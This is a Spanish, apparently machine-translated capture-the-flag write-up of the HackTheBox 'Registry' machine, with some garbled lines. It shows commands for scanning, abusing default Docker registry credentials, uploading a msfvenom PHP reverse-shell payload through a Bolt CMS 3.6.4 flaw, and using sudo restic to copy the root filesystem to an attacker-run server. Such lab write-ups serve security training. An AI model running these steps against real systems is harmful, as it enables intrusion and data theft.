Sigo publicando soluciones enviadas para su posterior procesamiento desde el sitio de HackTheBox . Espero que esto ayude al menos a alguien a desarrollarse en el campo de la seguridad de la información. En este artículo, abordaremos el registro de Docker, ejecutaremos RCE en CMS Bolt y aumentaremos los privilegios utilizando el programa de respaldo Restic.La conexión al laboratorio es a través de VPN. Se recomienda no conectarse desde una computadora de trabajo o desde un host donde los datos importantes para usted estén disponibles, ya que ingresa a una red privada con personas que saben algo en el campo de la seguridad de la información :)Información organizacional, - , :
- PWN;
- (Crypto);
- c (Network);
- (Reverse Engineering);
- (Stegano);
- WEB-.
, , , .
, ,
Telegram . , ,
.
. , - , .
Recon
Esta máquina tiene una dirección IP 10.10.10.159, que agrego a / etc / hosts.10.10.10.159 registry.htb
Primero, escaneamos puertos abiertos. Como lleva mucho tiempo escanear todos los puertos con nmap, primero haré esto con masscan. Escaneamos todos los puertos TCP y UDP desde la interfaz tun0 a una velocidad de 1000 paquetes por segundo.masscan -e tun0 -p1-65535,U:1-65535 10.10.10.159 --rate=1000
Ahora, para obtener información más detallada sobre los servicios que operan en los puertos, realizaremos un análisis con la opción -A.nmap -A registry.htb -p22,80,443
El host tiene 3 puertos abiertos, mientras que el certificado (puerto 443) es para docker.registry.htb. Añádelo a / etc / hosts también.10.10.10.159 docker.registry.htb
Cuando se enciende a registry.htb, que son recibidos por el símbolo nginx, y para docker.registry.htb, vemos una página en blanco.Vamos a iterar sobre directorios usando gobuster. En los parámetros indicamos el número de secuencias 128 (-t), URL (-u), diccionario (-w) y extensiones que nos interesan (-x).gobuster dir -t 128 -u registry.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,php
Backup.php no nos da nada, en Bolt hay un sitio con CMS Bolt, y en la instalación hay algún archivo, descárguelo.wget http://registry.htb/install/ -O ind
Y descubrimos qué tipo de archivo es.
Podemos leer "datos comprimidos de gzip" de inmediato.
De esta forma obtenemos el certificado y enlaces a la documentación de referencia de la ventana acoplable.En el caso de otro dominio, agregue la opción -k para omitir la verificación del certificado.gobuster dir -t 128 -k -u docker.registry.htb:443 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,php
Ahora pasemos al directorio v2, y nos encontramos con la autenticación.
Y la combinación más simple admin: admin nos da acceso. El host ejecuta el registro de Docker, así que, como se deduce de la siguiente explicación, veamos sus repositorios en la siguiente dirección: docker.registry.htb / v2 / _catalog .
Y encontramos un repositorio.
Instalemos Docker y veamos la documentación de instalación del certificado.
Vaya al directorio / etc / docker y agregue el certificado del archivo.sudo mkdir -p "certs.d/docker.registry.htb:443"
sudo nano certs.d/docker.registry.htb\:443/ca.crt
sudo chmod 0600 certs.d/docker.registry.htb:443/ca.crt
Ahora inicie sesión en la ventana acoplable.
Ahora carga la imagen.sudo docker pull docker.registry.htb:443/bolt-image:latest
Y ejecútalo.sudo docker run -it docker.registry.htb:443/bolt-image:latest
Y lo primero que vemos es SSH. Afortunadamente, hay una clave, así como una configuración, a partir de la cual queda claro que nuestro usuario está atornillado.
Pero la cosa es que la clave está encriptada. Esto significa que cuando estén conectados, pedirán una contraseña. El resultado es una búsqueda en los archivos de la cadena "pasar".grep -i -r "pass" ./etc/
Este script solicita una contraseña para descifrar la clave. Y la respuesta se da en ella.
Conéctese vía ssh con nuestra clave.
Había un archivo backup.php en el host, echemos un vistazo a lo que contiene.
Así es como se usa sudo, y aparentemente sin una contraseña. Pero Bolt requiere una contraseña.
Esto significa que necesitamos obtener el usuario del servicio. Como se usa CMS Bolt, podemos acceder a la base de datos sqlite. Descargalo.scp -i bolt_key bolt@10.10.10.159:/var/www/html/bolt/app/database/bolt.db ./
Comencemos a trabajar con la base de datos.sqlite3 bolt.db
Veamos las mesas.
Y obtenga las entradas de la tabla bolt_users.
Entonces tenemos un hash de administrador. Iterar sobre él usando el JTR.
Ahora inicie sesión en Bolt como administrador. Y observamos la versión 3.6.4.
Hay exploits para esta versión.
La vulnerabilidad es que podemos agregar a la configuración la extensión de archivo que necesitamos descargar y luego cargar el archivo. Hagamos un archivo php con una carga (diré de antemano que simplemente no funcionó para volver a conectarse, por lo que se reenvió el puerto 4321 :) ssh -i ./bolt_key bolt@registry.htb -R:432:10.0.0.0:4321
.msfvenom -p php/meterpreter_reverse_tcp LHOST=127.0.0.1 LPORT=4321 -f raw > r.php
cat r.php | xclip -selection clipboard && echo '<?php ' | tr -d '\n' > r.php && xclip -selection clipboard -o >> r.php
Y ejecuta al oyente.
Veamos Configuración -> Configuración principal y agreguemos la extensión php para poder descargar el archivo.
A continuación, vaya a Administración de archivos -> Cargar archivos y agregue el archivo. Después de acceder, veremos la conexión.
Inicie el shell bash, también observamos que estamos trabajando en nombre del usuario del servicio.
Verifiquemos sudo, observe que el comando de backup.php se puede ejecutar bajo sudo sin contraseña.
Restic es un programa de respaldo escrito en Golang. Como podemos hacer una copia de seguridad en sudo, podemos copiar todo el directorio raíz. Primero, veamos el puerto 8000.ssh -i ./bolt_key bolt@registry.htb -R:8000:0.0.0.0:8000
Instale y ejecute rest-server (en 8000 publicaciones sin autenticación).
Vamos a conectar e inicializar la copia de seguridad (restr1).
Ahora haga una copia de seguridad del directorio raíz.
La copia de seguridad se guardó en la máquina local. Veamos todos los archivos guardados. Encuentra la clave SSH.restic -r /tmp/restic/restr1/ ls latest
Restaurarlo
Conectar
Tenemos acceso completo al sistema.Puedes unirte a nosotros en Telegram . Allí puede encontrar materiales interesantes, cursos combinados, así como software. Formemos una comunidad en la que haya personas con conocimientos en muchas áreas de TI, para que siempre podamos ayudarnos mutuamente en cualquier problema de seguridad de la información y TI.